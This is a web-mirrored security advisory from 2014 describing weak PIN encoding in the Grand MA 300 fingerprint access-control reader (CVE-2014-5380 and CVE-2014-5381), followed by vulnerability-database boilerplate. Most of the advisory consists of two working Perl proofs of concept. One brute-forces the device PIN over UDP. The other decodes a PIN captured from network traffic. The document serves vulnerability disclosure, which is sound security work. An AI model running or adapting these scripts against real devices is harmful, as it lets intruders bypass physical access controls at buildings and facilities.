Lucene search
K

Grand MA 300 Fingerprint Reader Weak PIN Verification

🗓️ 26 Aug 2014 00:00:00Reported by Eric SesterhennType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 49 Views

Grand MA 300 Fingerprint Reader Weak PIN Verificatio

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2014-5380
26 Aug 201400:00
circl
Circl
CVE-2014-5381
26 Aug 201400:00
circl
CVE
CVE-2014-5380
13 Jan 202012:55
cve
CVE
CVE-2014-5381
13 Jan 202013:00
cve
Cvelist
CVE-2014-5380
13 Jan 202012:55
cvelist
Cvelist
CVE-2014-5381
13 Jan 202013:00
cvelist
NVD
CVE-2014-5380
13 Jan 202013:15
nvd
NVD
CVE-2014-5381
13 Jan 202013:15
nvd
Prion
Information disclosure
13 Jan 202013:15
prion
Prion
Information disclosure
13 Jan 202013:15
prion
Rows per page
`=== LSE Leading Security Experts GmbH - Security Advisory 2014-07-13 ===  
  
Grand MA 300 Fingerprint Reader - Weak Pin Verification  
------------------------------------------------------------------------  
  
Affected Versions  
=================  
Grand MA 300/ID with firmware 6.60  
  
  
Issue Overview  
==============  
Vulnerability Type: Weak Pin Verification  
Technical Risk: high  
Likelihood of Exploitation: medium  
Vendor: Granding  
Vendor URL: http://www.granding.com/productdetail/46/.aspx  
Credits: LSE Leading Security Experts GmbH Eric Sesterhenn  
Advisory URL: https://www.lsexperts.de/advisories/lse-2014-07-13.txt  
Advisory Status: Public  
CVE-Number: CVE-2014-5380 and CVE-2014-5381  
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5380 and  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5381  
  
  
  
Impact  
======  
A weakness was found in the Grand MA 300 fingerprint access control  
device, which allows the retrieval of the access pin from  
sniffed data (CVE-2014-5380), as well as a weakness, which allows a  
fast brute-force attack on the pin (CVE-2014-5381).  
  
  
Issue Description  
=================  
The cipher do encode the pin inside the network or wigand traffic  
contains a flaw which allows to retrieve the pin an weakens the  
resitance against brute-force attacks.  
  
  
  
Temporary Workaround and Fix  
============================  
Due to the proprietary nature of the product, we are unable  
to provide a fix. As a workarount disable the devices entirely  
or make sure no physical access to the ethernet or wigand interfaces  
are possible.  
  
  
Proof of Concept  
================  
  
The following perl script shows the weak pin encoding,  
and allows a bruteforce.  
  
---------------------8<-------------------------------  
#!/usr/bin/perl  
#  
# This brute-forces the pin of a Grand MA 300 Fingerprint  
# Access device in less than 5 minutes, if the pin  
# is between 1 and 4294967296.  
#  
# written by Eric Sesterhenn <[email protected]>  
# http://www.lsexperts.de  
#  
use IO::Socket::INET;  
use strict;  
use warnings;  
  
sub hexd {  
my ($data) = @_;  
my $ret = "";  
for (my $i=0; $i<length($data); $i++) {  
$ret .= sprintf "%X", ord(substr($data, $i, 1));  
}  
return $ret;  
}  
sub getword {  
my ($data, $offset) = @_;  
my $ret = 0;  
  
$ret = ord(substr($data, $offset, 1));  
$ret += 0x100 * ord(substr($data, $offset+1, 1));  
return $ret;  
}  
  
sub makeword {  
my ($value) = @_;  
  
my $ret = chr(($value & 0xFF)) . chr((($value >> 8) & 0xFF));  
  
return $ret;  
}  
  
sub calccrc {  
my ($packet) = @_;  
# we pad with zero for packets of uneven length  
my $newpacket = substr($packet, 0, 2) . substr($packet, 4) . chr(0);  
my $crc = 0;  
  
# the crc is the sum of all words in the packet  
for (my $i = 0; $i<length($packet) - 2; $i += 2) {  
$crc += getword($newpacket, $i);  
}  
  
# if the result is to big, we add the high bits to the lower bits  
while ($crc > 0xFFFF) {  
$crc = ($crc & 0xFFFF) + ($crc >> 0x10);  
}  
  
# negate the checksum  
$crc = ~$crc & 0xFFFF;  
return $crc;  
}  
  
sub makepacket {  
my ($type, $cid, $seqno, $data) = @_;  
my $crc = calccrc(makeword($type).makeword(0).makeword($cid).makeword($seqno).$data);  
return makeword($type).makeword($crc).makeword($cid).makeword($seqno).$data;  
}  
  
sub calcpass {  
my ($pin, $cid) = @_;  
my $ret = 0;  
  
# revert the bits  
for (my $i = 0; $i < 32; $i++) {  
$ret *= 2;  
if ($pin & 1) {  
$ret = $ret + 1;  
}  
$pin = $pin / 2;  
}  
  
$ret += $cid;  
  
# xor with magic value  
$ret ^= 0x4F534B5A;  
  
# switch the words  
$ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);  
  
# xor all, but third byte with last byte of gettickcount  
my $gc = 0x00;  
$ret ^= $gc + ($gc << 8) + ($gc << 24);  
  
# set third byte to last byte of gettickcount  
# this weakens the algorithm even further, since this byte  
# is no longer relevant to the algorithm  
$ret = ($ret & 0xFF000000) + ($gc << 16) + ($ret & 0xFFFF);  
  
return $ret;  
}  
  
# flush after every write  
local $| = 1;  
  
my ($socket,$client_socket);  
  
# creating object interface of IO::Socket::INET modules which internally creates  
# socket, binds and connects to the TCP server running on the specific port.  
  
my $data;  
$socket = new IO::Socket::INET (  
PeerHost => '192.168.1.201', # CHANGEME  
PeerPort => '4370',  
Proto => 'udp',  
) or die "ERROR in Socket Creation : $!\n";  
  
# initialize the connection  
$socket->send(makepacket(1000, 0, 0, ""));  
$socket->recv($data, 1024);  
  
my $typ = getword($data, 0);  
my $cid = getword($data, 4);  
if ($typ != 2005) {  
printf("Client does not need a password");  
exit(-1);  
}  
  
for (my $i = 0; $i < 65536; $i++) {  
if (($i % 10) == 0) { printf "$i\n"; }  
my $pass = calcpass($i, $cid);  
$socket->send(makepacket(1102, $cid, $i + 1, pack("V", $pass)));  
  
$socket->recv($data, 1024);  
$typ = getword($data, 0);  
if ($typ == 2000) {  
printf("Found pin: %d\n", $i);  
exit(0);  
}  
}  
  
# disconnect  
$socket->send(makepacket(1001, $cid, 2, ""));  
  
$socket->close();  
---------------------8<-------------------------------  
  
The following proof of concept shows how to reverse  
the pin from a captured packet.  
  
---------------------8<-------------------------------  
#!/usr/bin/perl  
#  
# This script calculates the original pin based on the pin  
# retrieved on the wire for the Grand MA 300 fingerprint access device  
#  
# look for a UDP packet starting with 0x4E 0x04, the last 4 bytes are the  
# encoded pin  
#  
# written by Eric Sesterhenn <[email protected]>  
# http://www.lsexperts.de  
#  
use warnings;  
use strict;  
  
my $cid = 0; # connection id  
my $ret = 0x4B00A987; # pin on the wire  
  
# get gettickcount value (third byte)  
my $gc = ($ret >> 16) & 0xFF;  
  
# set third byte to magic value (so it becomes zero when we xor it later with the magic value)  
$ret = $ret | 0x005A0000;  
  
# xor all, but third byte with last byte of gettickcount  
$ret ^= $gc + ($gc << 8) + ($gc << 24);  
  
# switch the words  
$ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);  
  
# xor with magic value  
$ret ^= 0x4F534B5A;  
  
# substract the connection id  
$ret -= $cid;  
  
my $fin = 0;  
# revert the bits  
for (my $i = 0; $i < 32; $i++) {  
$fin *= 2;  
if ($ret & 1) {  
$fin = $fin + 1;  
}  
$ret = $ret / 2;  
}  
  
printf("final: %X \n", $fin);  
---------------------8<-------------------------------  
  
  
History  
=======  
2014-07-13 Issue discovered  
2014-08-18 Vendor notified  
2014-08-20 CWE IDs assigned  
2014-08-25 Advisory released  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation